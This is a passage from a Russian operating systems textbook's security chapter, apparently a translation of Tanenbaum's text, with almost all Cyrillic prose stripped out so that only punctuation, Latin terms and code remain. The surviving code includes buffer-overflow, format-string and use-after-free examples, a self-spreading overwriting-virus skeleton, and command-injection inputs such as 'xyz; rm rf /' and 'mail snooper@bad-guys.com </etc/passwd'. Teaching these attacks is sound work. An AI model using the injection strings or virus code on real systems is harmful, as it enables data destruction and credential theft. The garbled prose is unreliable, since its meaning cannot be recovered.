, . 9.5, ACL (Access Control List
). , A, B C,
: F1, F2 F3. , ,
, A,
B C.
(subjects) (principals), , ,
, (objects), , , .
ACL. ACL- F1 ( ). , ,

672

9.

. 9.5.

A,
. , ,
B, . .
, , .
, A, F1. ,
, . , ,
.
ACL- F2 : A, B C ,
B . . , F3 ,
A B , . B
.
ACL-.
. , : , .
. , , .
(destroy
object) (copy object),
. , ,
(append message)
(sort alphabetically) .
ACL- . (group) .
, ACL-.
.
UID GID. ACL-
UID1, GID1: 1; UID2, GID2: 2; ...

9.3.

673

, , UID GID , .
ACL-, , .
(UID, GID) , .
, (role). ,
sysadm. ,
.
pigfan
. ACL- , . 9.2.
9.2.

Password

tana, sysadm: RW

Pigeon data

bill, pigfan: RW; tana, pigfan: RW;

,
, . ,
, /
, .
, , .
, .

, .
(wildcard),
, . ,
tana, *:RW

,
.
, ,
, .
, , ,
, . .
, ,
.
. ,
virgil, *: (none); *, *:RW

, (Virgil). ,
,
. Virgil -

674

9.

none ( - ),
. , , .
, ACL- (UID, GID), UID, GID. ,
pigeon_data :
debbie: RW; phil: RW; pigfan: RW

, , pigfan
.
, -
, .

. ACL-
. ACL-
, , ,
open. , , .

9.3.3.
, . 9.5, . ,
, ,
, , .
(capability list, C-list),
(capabilities) (Dennis and Van Horn, 1966; Fabry, 1974).
. 9.6.

. 9.6.


. , . 9.6 , A, F1 F2.

9.3.

675

(, , )
. UNIX
i-.
, ,
, , .
,
. .
(tagged architecture), ,
() , ,
.
, ,
, ,
( ). (Feustal, 1972).
IBM AS/400.

. . , , 1 ,
2.
UNIX. Hydra (Wulf et al., 1974).
, ,
.
.
, , , , , . ,
.
UNIX i-.
.
, . 9.7.

. 9.7.


, ( , , i-),
, .
, ,
, .
, , f (y = f(x)), x
y, y x . 9.5. ,

676

9.


,
.
,
. . f(Objects, Rights, Check), ,
. ,
, . , ,
, .

, .
. , f(Objects, New_rights, Check)
, . , Check,
, .

. , , ,
. - ,
,
, f .
, ,
.
Amoeba (Tanenbaum et al., 1990).
, ,
, ( ,
) , , (generic rights),
. :

;
;

- ;
.
, , , , ,
.
- , , , .
,

9.4.

677

, . ,
, , .
(,
, ,
.)
Amoeba .
, . .
, , ,
, .
, .
, . , Hydra,
, , Amoeba.
, ACL-
.
, ,
3, . ,

ACL-. , ACL-,
. ACL-,
, . ,
, , .
ACL- .
ACL- ,
Windows UNIX. . ,
L4, (
Android), . FreeBSD
Capsicum, UNIX.

9.4.
, . 9.3, .
,
,
.
. . (Harrison et al., 1976)
() ,
. ,
, , , .

, 1 File6.

678

9.

(protection
commands). . .
, ,
, , ,
.
,
, read ()
, .
,
, . ,
.
, , . 9.8, . . 9.8, ,
: mailbox7 ,
secret, compiler.
, ,
, . 9.8, .
mailbox7, .
, ,
, . 9.8, , .

. 9.8. : ;

,
: .
, , : ,

?
, ,
( ) .
, ,
, .

9.4.

679

, .
. Harrison et al. (1976)
, .
, - . Landwehr (1981).

9.4.1.
,
.
(discretional access control)1.
, , .
, . , , ,
, ,
(, , ,
). ,
, (mandatory access control)2, ,
.
, .



(Bell LaPadula model),
(Bell and LaPadula, 1973). , .
() , : , , .
, ,
. , .
, , .
, (multilevel security system).

.
1

( ):
, , . . .

( ):
. , , .
. .

680

9.

1. (The simple security property) , k,


. , ,
.
2. * (The * property) , k, . ,
,
, , , , ,
,
.
: ,
. , ,
. * ,
, ,
- , *.
, .
, .
. 9.9.

. 9.9.

,
, . ,
, . , ,

9.4.

681

. , B 1,
3.
, , , . *, , , .
, ,
k, . ,
, , ,
.
,
. ,
, UID GID. ,
. , k,
, k,
.
,
, k.


,
, ,
, .
. , 1, 3, 5. ,
,
, . ,
.
, , .
(Biba, 1977):
1. (The simple integrity property) , k,
( ).
2. * (The integrity * principle) , k,
( ).
,
, , , . ,
, ,
, .

682

9.

9.4.2.

, ?
, . ,
, ,
. ,
, .
(Lampson, 1973).

, ,
, , .
.
, , , , .
. ,
. ,
, , ,
. ,
.
,
, .
. . 9.10.
,
- , .
(confinement problem).

. 9.10. , ;

, , , . ,
, , . ,
,
.

9.4.

683

, .
, .

,
.
.
, 0, , 1. ,
. 9.10, , (covert channel).
, ,
, (,
- ).
,
. ,
, , .
. (
1, 0). ,
. ,

. , , .
. 9.11,
, , .
11010100.

. 9.11. ,

S , ,
.
.

684

9.

, F1 F2,
.
S, F1, , . ,
F2, ,
, F1, , S .
,
,
.
, ,
, , S0 S7?
( , . .).
. UNIX
, , , ,
, access.
,
. , .
, ,
. ,
,
. $100,
$53 000, ,
$100,53.
, , . .
- , -

.


, . , ,
, , ,
, . ,
?
, , ,
.
. 9.12, . ,
, . . 9.13, , -,
, -

9.4.

685

. : ,
, , .
700 .

. 9.12. ; ,

?
1024 768 . 8- ,
, .
. RGB.
,
, , .
1024 768 3 , 294 912
.
734 891 .
274 .
. ,
.
.
7- 8-.
, ,
734 891 .
(steganography, ). , ,
.
- .
, , , ,
. 9.12, .
www.cs.vu.nl/~ast/. covered writing
STEGANOGRAPHY DEMO, , , -

686

9.

, .
, , .
, -, ,
-. - Copyright 2014, General Images Corporation,
, .
, . .
, . ,
, 1
, , JPEG, 1. ,
(, GIF, BMP, TIF).
JPEG- , ,
, . ,
, ( ),
,
.
. .
,
:
, , .
,
, .
, .

9.5.
.
,
.
, - .
.
, . ,
, , IPSec, /
, ,
. , 9.6 .
, .
.

. , , Kaufman et al. (2002), Gollman (2011).
, .

9.5.

687

, (plaintext) , (ciphertext),
, , , .
.
, (),
, .
,
, . (security by obscurity) .
, ,
.
, . P , KE ,
C E ( ), C = E(P,
KE). . ,
E ,
P , KE.
,
, (Kerckhoffs Principle).
XIX .
.
, P = D(C, KD), D ,
KD . , P
C KD,
D, C KD . . 9.13.

. 9.13.

9.5.1.
, ,
, A Q,
B W, C E . ., :
:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
: QWERTYUIOPASDFGHJKLZXCVBNM

688

9.

(monoalphabetic
substitution), 26 , . QWERTYUIOPASDFGHJKLZXCVBNM. ATTACK
QZZQEA. , .
KXVMCNOPHQRSZYIJADLEGWBUFT, A K , B X . .
, , ,
( ),
, 26! 4 1026 . ,
,
.
. ,
e, t, o, a, n, i . .
, , th, in, er, re . . .
,
.
(secret-key cryptography),
(symmetric-key cryptography).

,
.
256 ,
, 2256 1,2 1077.
, .

9.5.2.

, ,
:
. , ,
. ,
(public-key cryptography) (Diffie and Hellman, 1976). ,


.
, .
, :
1. 314159265358979 314159265358979?
2. 3912571506419387090594828508241?
,
,

9.5.

689

- . , ,
50 %- ,
, .
, .
.
, .
RSA ,
, ,
,
(Rivest et al., 1978). . ,
(El Gamal, 1985).
, , .
,
( , ), .
, .
, ,
.
.
, .

9.5.3.
, , f, , f
x y = f(x),
x, f(x). , ,
. y x. , ,
x, y
, . , .
- (cryptographic
hash function).

9.5.4.
. ,
, ,
.
. , -
. , ,
, .
, ?

690

9.


, .

,
. - , . -
SHA-1 (Secure Hash Algorithm), 20- (NIST, 1995). SHA-1 SHA-256 SHA-512 32- 64-
, .
. , D(hash). , (signature block),
(. 9.14).
D , ,
. .

. 9.14. ; ,

, SHA-1
-.
, E(D(hash)). .
, , ,
( ). , ,
. ,
, x
E(D(x)) = x.
, , ,
D(E(x)) = x,
E , D .
, ,

9.5.

691

D E . , RSA
.
,
.
-. , ,
- .
- .

(certificate),

. ,
,
, .
, ,
(Certification Authority (CA)).
, CA, . ?
, , (Public
Key Infrastructure (PKI)). - :

40 .

, , ,
.

9.5.5.
. ,
.
. ?

(Trusted Platform Module (TPM)),
,
. TPM ,

. .
.
TPM, , ,
.
TPM ,
, TPM . Microsoft, , Palladium, NGSCB BitLocker.
,

692

9.

, , .
.
( ) , . TPM
, ,
, TPM.
(, Microsoft).
, TPM ,
, .
TPM,
.
-,
.
TPM
(remote attestation),
TPM ,
-, . , TPM ,
. , ,
, BIOS. ()
, , - , .
,
, . ,
,
.
, . - BIOS,
TPM , . TPM
, (Platform
Configuration Register (PCR)). PCR ,
, . PCR,
TPM PCR PCR. ,
, ( )
PCR,
. PCR
-, . ,
PCR.
, ,
, ( ) , .
, , 160 . ,

9.6.

693

(nonce),
.
,
.
.
( ), TPM
( )
PCR. , , PCR
, . .
, . ,
.
PCR, . ,
,
. , , ,
, ,
,
.
TPM , . , TPM
. -
, ,
TPM.

9.6.
(secured) .
, , ,
.
, ,
.
, 1
. ,
ENIAC, , . , ,
.
- (, PDP-1 PDP-8)
, UNIX - PDP-11 .
(, Apple II IBM PC) , -

694

9.

, Linux Windows 8 (
). , () -,
, .
.
, .
, :
-, ;
-, ;
-, .
.
.
.
, .
.
( , ). ,
. ,
, , .
,
, . Windows . UNIX
. . , Windows,
, .
.
, , . 9.15. , , , . 9.15, .
. 9.15, , . 9.15,
B.

. 9.15. : ; ;

. 9.15, , . ,
, .
. 9.15, , ,

9.6.

695

. ,
.
,
. , , , .
BIOS,
Del, F8, - , BIOS ( )
. , USB .
- USB, ,
.
( UNIX) D: ( Windows).
, BIOS BIOS,
.
,
BIOS, .

9.6.1.
, (, ) (
, ) , .

. , Ellen Ann Smith ellen,
smith, ellen smith, ellen-smith, ellen.smith, esmith, easmith eas.
4096 , ,
,
(ellen_smith , , , ).
, .
. ? , . UNIX
(Morris and Thompson, 1979). :
, , , ( ), . .
. 86 %
.
- ,
, : . 2012
6,4 LinkedIn,
. password. 123456 ( 1234,

696

9.

12345 12345678). .
()
.
IOActive 2013 . ,
.
,
, . , ,
, .
. ,
, Stuxnet- , Siemens, , , .
.
.
, - ,
- (Florencio and Herley, 2007; Gaw and Felten,
2006).
, ? , .
1998 San Jose Mercury News ,
(war dialers), 10 000
(, (415) 7700xxxx), ,
,
. 2,6 ,
20 000 , 200
. , 75 %
(Denning, 1999). , 2,6 .
.
. Citibank , ( 5 ),
( ). 4000
(Denning, 1999). ,
, , ,
, .
.
. - .
. , - ( ) IP-.
- , TCP-
, . , , ,

9.6.

697

,

nmap,
. , ,
. , , ,
, telnet- -. ,
, ,
,
.

9.6.2. UNIX
,
.
, .
, , , , , , .
UNIX . .
.
.
, .
, ASCII-,
, ,
. , , , ,
, . , ,
, ,
- . ,
. , UNIX .
, . ,
. . , ,
. ,
, .
. .
. , , ,
. .
, ,
. ,

698

9.

n- , (salt).
. , .
, , .
. . 9.16 : Bobbie, Tony, Laura, Mark Deborah.
, , :
, + . e(Dog, 4238)
Dog, Bobbie, 4238 e.
, ,
Bobbie.

. 9.16.

, , ,
f, . , Dog, Dog f.
2n , Dog0000, Dog0001, Dog0002 . .,
f. f 2n .
UNIX n = 12.
UNIX , , , ,
, root-. ,
( ) , ,
.

9.6.3.

. . , (one-time passwords).
.
. , ,
. ,
.

9.6.

699

- (Lamport, 1981) ,
, .
,
, , . ,
,
.
(one-way hash chain).
, y = f(x), , x y. y
x .
, 256 .
, . n, ,
. , n = 4,
n. s,
n :
P1 = f(f(f(f(s))))

(n 1) :
P2 = f(f(f(s)))

f , . Pi 1 = f(Pi). ,
, . ,
P2, P1, P3.
P0, f(P1).
, , 1, ,
P1. ,
, 1, . P1,
s, . f(P1) ,
(P0). , ,
2, P0 P1.
2, P2. f(P2)
. , , 3, P2
P1. , , ,
Pi,
Pi + 1, Pi 1,
. n
, .

700

9.

9.6.4.
, ,
(, ). , . ,
:
1. ?
2. ?
3. ?

. , .
(chalelenge response).
, x2.
, , 7,
49.
, . .
,
, , , ,
. k, .
( ) .
r,
f(r, k) ( f ), . ,
.
,
, ,
. , f
, k. -,
(XOR) r
k. .

9.6.5.

-
, - . .
,
, . , , ,
. (Automated Teller Machine (ATM)

9.6.

701

)
(ATM-) (
-, 4 , ).
, , : ().
140 , , .
.
(, -),

. , , . 10 50
. -
,

.
- (). : -.
(stored value cards) ( 1 ),
,
, , .
,
( ).
, , , , .
, . (,
).
, 1 ,
, .

- (smart cards), - 8-
4 , 16 , 4 EEPROM,
512 9600 /
.
, ,
( ), (
) ( 1 20
,
).
-, ,
, .
, , .

( YES),

702

9.

.
- .
-, , , .
, .
, .
, , , ,
, .
, (
). -
, ,
, .
.
- (,
),
. , . : - ,
, ( )
, . , , - -, -
, .
- -
,
,
( ), .
- . . 512-
-, 512- , .
, 512 ,
, . . 9.17.
, - .
,
512- . ,
(, , ) .
,
, - .
, , Java.
Java .
, , :
.
,

9.6.

703

. 9.17. -

- ,
. - ,
-
(side-channel attack), , . , ,
, .
, ,
.

9.6.6.

, .
(biometrics) (Boulgouris et al., 2010; Campisi, 2013). ,

.
: .
. ,
.
(, )
-,
(, ).
. .
. , ,
. ,
, ,
. ,
,

704

9.

, ,
- .
, . ,
, .
,
. - , - - ,
. , ,
,
, , .
, ,
. - ,
, ,
-, ,
,
.
,
. ,
. , , , . 9.18.
,
, .

. 9.18.

. , ,
, , .

9.6.

705

, , (iris recognition).
( ) ,

(Daugman, 2004).
( 1 ),
, -
(Gabor wavelet tronsformation) 256 .
, ,
,
. (
,
.)
, ,
. , (,
), .
1 , -
, . - , , , ,
,
, , .
2001 ,
.
. , , ,
-. ,
. ,
,
.

(Kaman et al., 2013). ( ), . ,
, ,
.
, ,
. , .
, , ,
-. ,
, (Tresadern et al., 2013).
,
. . ,

706

9.

. ,
- , - ,
, , .
,
: , . , , .
,
, . ,
. , (Rodriguez-Lujan
et al., 2013). , ?

.
,
. , , (Fuksis et al., 2011).
,
.
, -
, , - - .
Apple iPhone 5S.

9.7.
,
- , . ,
,
, drive-by-download. ,
, -. -, . - ,
- (,
). ,
- (, ).
-
Miami Dolphins, Dolphins ,
. -
, ,
, . drive-bydownload , - ( ),
.
, .

9.7.

707


- . -
,
, . drive-by-downloads ,
, .
. ,
. , , . : ,
, , , . -
! , , ,
. ,
!. .
. , , ,
. ,
, ,
.
, . ,
. , .
. ,
.
,
, , .
, ,
. .
,
.
,
. , - 1988 ,
. , ,
(Van der Veen, 2012).

, : , (stack canaries), (data execution
protection) (address-space
layout randomization).
, (format string
attacks), (integer overflows)
(dangling pointer exploits). ,
!

708

9.

9.7.1. ,
,
C ++ (
, ,
). , C ++
. , gets,
( ) ,
, ( gets ). :
01. void A() {
02. char B[128];
/* 128 */
03. printf ("Type log message:");
04. gets (B);
/* */
05. writeLog (B);
/* */
06. }

A
. ,
B gets C. ,
writeLog, , ,
(,
, ). , A ,
,
(SETUID root). ,
, root.
,
. , gets , .
, B 128 . , 256 . 128 ? gets
,
, 256 . ,
, . .
. 9.19, ,
. - , . 9.19, , A.
( ,
). A,
128, ( B).
, , 128 ? . 9.19, . , gets
, , ,
, , , , .

9.7.

709

. 9.19. : ;
; ,

, ,
, , ,
. ,
.
A,
, .
.
, ,
, , ,
. ,
, ,
B. A
B
. ,

. ,
. ,
, .
(, exec),
.
, - (shellcode), .
, gets ( ), ,

. , , , ,

710

9.

, . ,
: strcpy, memcpy, strcat .
, , . , ?
, , -.
nop- (nop sled)
NO OPERATION ( ), .
nop-, -. Nop- ,
, ,
nop- -. ,
JavaScript
nop- -. ,
, nop- .
(heap spraying).

()
, , , (stack
canaries). .
. ,
. ,
. , ,
.
, . , ,
.

, , . . , ,
.

. , , - , .
,
.


, ,
. , ,
. : strcpy
C, ,
strlen, .
len :

9.7.

711

01. void A (char *date) {


02. int len;
03. char B [128];
04. char logMsg [256];
05.
06. strcpy (logMsg, date);
07.
08.
09.
10.
11.

/*
*/
len = str len (date);
/*
*/
gets (B);
/* */
strcpy (logMsg+len, B);
/*
*/
writeLog (logMsg); /* ,
*/
}

, A
,
( A).
( 6).
, . . , 5 ,
7. . ( 7).
( 8) ,
. ,
( 9). , , ,
.
, .
? , B
.
len, . 9 len , , B.
,
len,
.
, .
, .
, ,
. , C C++ f
,
:
void (*f)(char*);

, , ,
. A , f = A
f A. , , . ,

712

9.

. ,
, , . , .
, .

, ,
.


, : ! ,
, ,
. ? , , .
,
. . (code
injection attacks) , , ,
.
,
NX- (NX bit), No-eXecute, .
, (,
) ( ).
. OpenBSD
WX ( WExclusive-OR X W XOR X). ,
, , . Mac OS X, Linux Windows .
DEP (Data Execution Prevention), . NX-.
DEP , .
DEP . -. ,
.


DEP .
( ) .
, , - . : ,
?. ,

.
(return to libc), ,
-
(return-oriented programming).

9.7.

713

, (. . 9.19) , , ,
. : -
? , . C
libc ( ),
, C-.
system,
. , system,
. , - , ,
system.
(return to libc) . System , .
, mprotect,
. , libc
. , Linux (Procedure Linkage Table (PLT)). PLT
, , ,
, ,
.
.
- (Return-Oriented
Programming (ROP))
. .
, , . ,
. ,
. : ? ,
.
, , , . .
, -
, , -, -
, -, . ,
. (gadgets). ,
,
. ,
,
.

.
. 9.20, a ,
. , -

714

9.

. ,
. A X, B Y
. . .
, ,
, , , .
, . 9.20, , A
. ,
, .
, , 1 . 2,
1 4,
2. -,
.
,
.
&

& B

& A

&
( Z)

& B
( Y)

& A
( X)

:
A:
1
,

4
3
2
1

3
2
1

B:
2

C:
1 4
1
2

2

4
3
2
1

. 9.20. - :

- , ,
, . , .
ROP-.

9.7.

715

ROP ,
.


.
(ROP)
, ROP nop . , , ,
?
(Address Space Layout Randomization (ASLR))
. . , ASLR
, .

DEP ASLR.
,
(Giuffrida et al., 2012).

. -
.
.
.

ASLR

. ASLR ,
. , ASLR
. ASLR . , .
, 32- ,
. ,
, .
ASLR . ,
, .
:
01. void C() {
02. int index;
03. int prime [16] = { 1,2,3,5,7,11,13,17,19,23,29,31,37,41,43,47 };
04. printf (" ?");
05. index = read user input ();
06. printf (" %d %d\n", index,
prime[index]);
07. }

716

9.

,
C. ,
,
. , .
.
, 15, , 0.
, .
.
, , , ,
, , . , ,
, , . ,
, Snow et al. (2013).

,
: .
, , . . , :
01. void A() {
02. int author ized;
03. char name [128];
04. authorized = check credentials (...); /* ,
0 */
05. printf (" ?\n");
06. gets (name);
07. if (authorized != 0) {
08. printf (" %s, \n", name)
09. /* ... ... */
10. } else
11. printf (", %s, .\n");
12. }
13. }

.
, . , , C, , -
. , 129 .
, , .
, ,
. ,
.

:
, .

9.7.

717

(
), , (Van der Veen, 2012).
- , ,
C,
.
. .
, C C++.
, .

, . ,
(, , ).

9.7.2. ,
,
. ,
. reference_count, ,
rc 13 ?
.
C,
C :
char * s="Hello World";
printf("%s", s);

s, Hello World ,
. printf :
%s, , . (
). .
,
:
char * s="Hello World";
printf(s);

printf ,
, . , (, %s), , ,
. , ,
, , .
- ,
, -

718

9.

. ,
:
char s[100], g[100] = "Hello ";
gets(s);
strcat(g, s);
printf(g);

/*
/*
/*
/*

s g; g */
s */
s g */
g */

s g, g .
. (
gets, , ).
, , , , , , , ,
, , printf.
, %s ( )
%d ( ), ,
. , %n .
,
,
printf. , %n:
int main(int argc, char * argv[])
{
int i=0;
printf("Hello %nworld\n", &i);
printf("i=%d\n", i);
}

/* %n i */
/* i 6 */

:
Hello world
i=6

, i
printf, .
, ,
. printf ? ,
.
.
, , ,
.
, , printf - ,
. , (format string attack).
, , .

9.7.

719

? , , . , , ( printf).
printf , .
.
printf , , , :
"%08x %n"

%08x , printf 8-
. , 1,
0000001. , printf
, 32- ,
, , , ,
, 9: 8 1 . ,

"%08x %08x %n"

printf ,
, , . . , , .
, ,
, . ,
. ,
g ,
printf (. 9.21). , , ,
AAAA, %0x %0n. ?
%0x, ( B). , printf
,
. ASCII- A 65 ( 0x41
), 0x41414141,
. , (
).
, , .
format string attack,
, .

,
, .
SETUID root,
root. ,

.

720

9.


printf

printf
( )

. 9.21. , .
%08x

9.7.3.

,
(dangling pointer attack).
, . C C++ ,
malloc,
. , ,
free . , , . , :
01. int *A = (int *) malloc (128);
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.

/* 128
*/
int year of birth = read user input (); /*
*/
if (input < 1900) {
printf (", 1900 \n");
free (A);
} else {
...
/* A */
...
}
... /* , , malloc free */
A[0] = year of birth;

9.7.

721

. - , ,
12 A , ( 5). A
, .

(. 11).
: ? 12
, A, , .
, , ,
,
, , , . ,
( heap feng shui), .
, .
,
(, 1900).

9.7.4. ,

, 3, . , , .
,
. . ,

, . , Linux , ,
, .
32- 3
, 1 . , .
. ,
. ? , .
, ?
(NULL pointer). , , ,
. Linux
. ,
. ,
, ,
.

722

9.

,
.
. ,
-
.
,
. mmap,
. mmap . 0 -. ,
, -
. .
mmap
. - . , ,
.
. ,
, ,
, ,
.

9.7.5. ,


, 8, 16, 32 64 .
, . C
, . ,
,
. , , . , ,
16- ,
40 000. , 16- , 4096.
, , .
.
( ) , ,
, , . ,
, , , ,
. ,
, ,
, malloc -

9.7.

723

, .
. ,

.

9.7.6. ,
.
, -
, (,
). ,
,
. , C
system("ls >file-list")

,
ls >file-list

,
file-list. ,
, 9.1.
9.1. , ,

int main(int argc, char * argv[])
{
char src[100], dst[100], cmd[205] = "cp "; /* */
printf(", -: "); /*
- */
gets(src);
/* */
strcat(cmd, src);
/* src cp */
strcat(cmd, " ");
/*
cmd */
printf(", : ");
/*
*/
gets(dst);
/*
*/
strcat(cmd, dst);
/* */
system(cmd);
/* cp */
}

- , , cp, system
. , abc xyz
:
cp abc xyz

, , .
, , (command injection). ,

724

9.

abc xyz; rm rf /.
:
cp abc xyz; rm rf /

,
. , . , , ,
.
xyz; mail snooper@bad-guys.com
</etc/passwd,
cp abc xyz; mail snooper@bad-guys.com </etc/passwd

9.7.7 ,

, , .
. . , .
:
int fd;
if (access ("./my document", W OK) != 0) {
exit (1);
fd = open ("./my document", O WRONLY)
write (fd, user input, sizeof (user input));

, SETUID root
. , ,
. , , SETUID-
,
my document .
,
, . ,
,
, .
, , ,
access. (,
, ), 0, ,
1 . ,
UID , UID ( SETUID ).

, .
, . , ,
, , -

9.8.

725

, . ,
.
open
. ,
.
, (Time of Check to Time of Use (TOCTOU)).
-, , access .
,
fstat, . , fstat
write. , API
.
.

9.8.
,
,
, ,
. , ( insiders) ,
( outsiders).
, .
, , ,
.

9.8.1.
. ,
() .
(logic
bomb). ,
. ,
, .
, (
) . .
.
,
(Spafford et al., 1989).
,
,
.
: ( , -

726

9.

,
)
, ( ,
, , ).
, . , ,
. , ,
. - .
(time bombs).

9.8.2.
, ,
(back door)1.
, - . , ,
, zzzzz, ,
.
, . 9.22, .
, . 9.22, .

. 9.22. : ;

strcmp , zzzzz. , ,
. , ,
,
,
. ,
.
. (code reviews). ,
1

. . .

9.8.

727

,
. ,
, . , - ,
, , .
,
.

9.8.3.
,
, , (login spoofing).
, ,
, . ,
, ,
. .
, , UNIX- , , . 9.23, .
, .
,
( , ).

. 9.23. : ;

. -
, ,
. 9.23, . , ,
. 9.23, , , ,
, . , .
,
. ,
- , .
,
, . 9.23, . , , .
.

728

9.

.
.
,
. Windows
CTRL+ALT+DEL. ,
CTRL+-ALT+DEL, .
.

9.9.
(, 2000 ) ( )
, ,
.
, , , (malware) .
, , , ,
. ,
.
.
, .

. , ,
. (backdoor),
, ,
.
(zombie), (botnet), robot network, , .
, , ( ) .
. -
, ,
. , ,
, , , ,
.
, ,
.
. , .

9.9.

729

, , :
GENERAL ENCRYPTION!
, ,
100 : BOX 2154, PANAMA CITY,
PANAMA. . .

(keylogger).
( ) ,
. -, -, - ,
(
), .
, , ,
,
. , ,
.
,
. , ,
,
, , , , ,
, , , ,
. ,
,
, .
, , ,
, -,
(identity theft)1.
, , , , , , . .,
,
, ,
. , , .
, ,
,
-.

, ,
1

. . .

730

9.

( , ).
, , , ,
.
, .
. ,
.
, ,
.
, .

, -
- . ,
, .
,
, , .
( ,
RFID ). .
.
- (BIOS) -,
(
).
- , . - ,
. - , , , .
, , , .
, malware, .
: ? . -, 90 %
, Windows ( ),
. ,
10 % ,
. , .
-, Microsoft ,
Windows . ,
Windows ,
UNIX-,
( , Linux Windows). ,
, Microsoft

9.9.

731

.
, ,
-
. ,
, - . ,
?
, .
.

9.9.1.
.

. , ? -
. , , -
. .
. (Trojan horse attack),
.
, -, .
, , .
, , ,
. ,
. , - IP-
, , .
,
. .
, .
,
. , UNIX
$PATH, .
, :
echo $PATH

ast
:
:/usr/ast/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/ucb:/usr/man\
:/usr/java/bin:/usr/java/lib:/usr/local/man:/usr/openwin/man

732

9.

, , .
prog

, /usr/ast/bin/prog.
, . , /usr/local/bin/
prog, /usr/bin/prog, /bin/prog . ., 10
, . ,
, .
,
.
/bin /usr/bin, /usr/bin/X11/ls ,
. ,
/usr/bin/X11 la. la
ls ( , ),
, ,
, la . , , , , ,
- -
(
),
/bin/ls , ,
.
, ,
. ls, ,
, - ,
: , 100 , .
, ,
cd /home/mal
ls l

, $PATH, ,
,
, , .
/home/mal/bin/sh SETUID root.
: chown /home/mal/bin/sh root chmod
SETUID. , , .
, . , ,
, Quicken. ,

9.9.

733

(
- ), .
, ( ), , - - ,
( ).

9.9.2.
, .
, .
, , , . , , .
? , (virus) ,
, , . , .
, .
,
. .


, . , , , (, ,
C), .
.
, , . , -
. .
, . , , , ,
(payload).
, ,
. (,
-
, ).
,
. , ,
, , , ,
. , .

-
- (companion virus) , , - .

734

9.

, MS-DOS,
- . . MS-DOS

prog

MS-DOS prog.com.
, prog.exe. Windows, (Start), (Run)
Windows, , , R, , .
.exe, .com .
, , prog.exe
MS-DOS Windows,
(Run). prog.com,
, - prog (
prog.exe). prog.com , prog.exe .
- , Windows,
( ).
, .
, . ,
.

,
, .
. (overwriting viruses).
, , 9.2.
9.2. ,
UNIX
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
struct stat sbuf;
search(char *dir_name)
{
DIR *dirp;
struct dirent *dp;

/* POSIX */

/* lstat, , */
/* */
/* */
/* */
/* */

dirp = opendir(dir_name);
if (dirp == NULL) return;
while (TRUE) {
dp = readdir(dirp);
if (dp == NULL) {

/* */
/* , */
/* */
/* */
/* NULL */

9.9.
chdir ("..");
break;
}

735

/* */
/* */

}
if (dp->d_name[0] == .) continue;
lstat(dp->d_name, &sbuf);

/* . .. */
/*
? */
if (S_ISLNK(sbuf.st_mode)) continue; /* */
if (chdir(dp->d_name) == 0) { /* chdir , ,
*/
search(".");
/* , */
} else {
/* ( ), */
if (access(dp->d_name,X_OK) == 0) /* , */
/* */
infect(dp->d_name);
}
closedir(dirp);
/* ,
*/
}

,
argv[0] .
, ,
search root .
search , ,
readdir ,
NULL, , . ,
search. ,
infect
. , .,
. ... ,
, , chdir,
, ..,
, . .
infect ( ) , , ,
.
. -, infect , - . ,
128 , . : , ,
, ,
, .
(, 25 %),
,
.

736

9.

-, infect ,
. -,
,
. ,
, , , ,
. , .
( , , 2 ),
.
MS-DOS,
44 (Ludwig, 1998).
,
. , , 9.2,
,
. , ,
.
,
. ,
, , .
, .
(parasitic viruses).

. , , , ,
, (. 9.24, ). , ,
,
0 .
, ,
.
, ,
, (. 9.24, ).
( ,
), ,
, ,
. ,
.
, .exe
Windows UNIX,
. . (, Windows)

9.9.

737

. 9.24. ; ; ;
,

() 512 . ,
.
. (. 9.24, ),
, , ,
. , ,
, , (cavity viruses). ,
, .


, ,
, .
(memory-resident virus)
, , ,
, , ,
, , .
, ,
, , .

, . .
. , ,
.
? , ,
. , exec, , , , ,
(, , ) ,
. , , 9.2, .

.

738

9.

,
5 ,
BIOS
. , , . ,
. ,
,
. ,
(boot sector viruses), .
, (
)
, . Microsoft fdisk
,
Windows-. ,
, .
- ,
. - .

, ,
.

, , .

,
. . ,
,
.
, .
,
. , Windows
. ,
. .
. (. 9.25, ).
, ,
, .
. 9.25, . ,
,
, , (
,
, ).

9.9.

739

. 9.25, . ,
, ,
. , . -
.

. 9.25. :
; , ;
,


( ) , , -
. ,
. ,
. , , (device driver virus). Windows
UNIX- ,
. ,
. ,
, , ,
, .

, ( MINIX 3),
, ,
, .

, Word Excel,
,

740

9.

.
. Microsoft Office
Visual Basic.
, ,
, . , Office
.
. Word , OPEN FILE ( ).
(macro virus).
, , , ( , ). OPEN
FILE. , :
, Word, .
, Microsoft Word , ,
, ,
, . ,
. ,
, .
, , . ,
- ,
, . ,
, , .

,
; , , (Word Windows Macintosh,
UNIX).
(source code viruses). 9.2, ,
, C,
( access).
infect
#include <virus.h>

C.

run virus( );

, ,
C, , . , . . -

9.9.

741

, (,
main return, ),
, virus.h
( proj.h , - ).
, ,
C .
, ,
, , ,
, virus.h.
, .

, 32-
, , . , ,
, ,
, .
.
- , . , . ,
.
.


. .
, - ( )
, , , -
- . -
.
. , ,
,
. .
, .
.
(, ) , . .
,
, . , , ,
.
, .
, ,
, ,
. ,
.

742

9.

, ,
. .
.
,
, .
USENET (, Google) -,
. -,
, .

USENET, , .
, , -
, , . ,
,
, (Subject) -
, :
: ;
: Re: ;
: ;
: ;
: .
, ,
, . ,
. I LOVE YOU, 2000 ,
.

. ,
, , . , , , ,
.
, , .
, ,
, . ,
,
.
. ,
,
, , .
, -
. - USB -

9.9.

743

, USB,
book.doc,
. , virus.
exe , , , , .
- USB
- FTP-.
Ethernet, - , , .
,
.
. , , . . Rieback et al. (2006).
,
.

9.9.3.
, , 2 1988 , .
,
, ,
. ,
. . Spafford (1989).
Hafner and Markoff (1991).
, 1988
Berkeley UNIX, . , . ,
(worm),
, .
,
.
, 2 1988 ,
Sun VAX, , .
, , ,
- .
:
. 99 C, l1.c. .

744

9.

, , ,
. ,
, ,
.
. 1
rsh. rsh,
. , .
2 , UNIX- finger. , ,
finger name@site

.
, ,
, ,
. , , .
finger . UNIX- finger daemon,
, . finger
536- .
,
. 9.19, . , . - ,
, ,
536- . sh.
, ,
.
3 sendmail, .
, . .
, , ,
, - (Morris and Thompson, 1979) Bell Labs.
,
.
, . , ,
, , ,
, ,

. 1/7

9.9.

745

, : .
, ( 1/50), ,
, .
,
- , ,
,
. , rtm. rtm ,
finger. ,
.
.
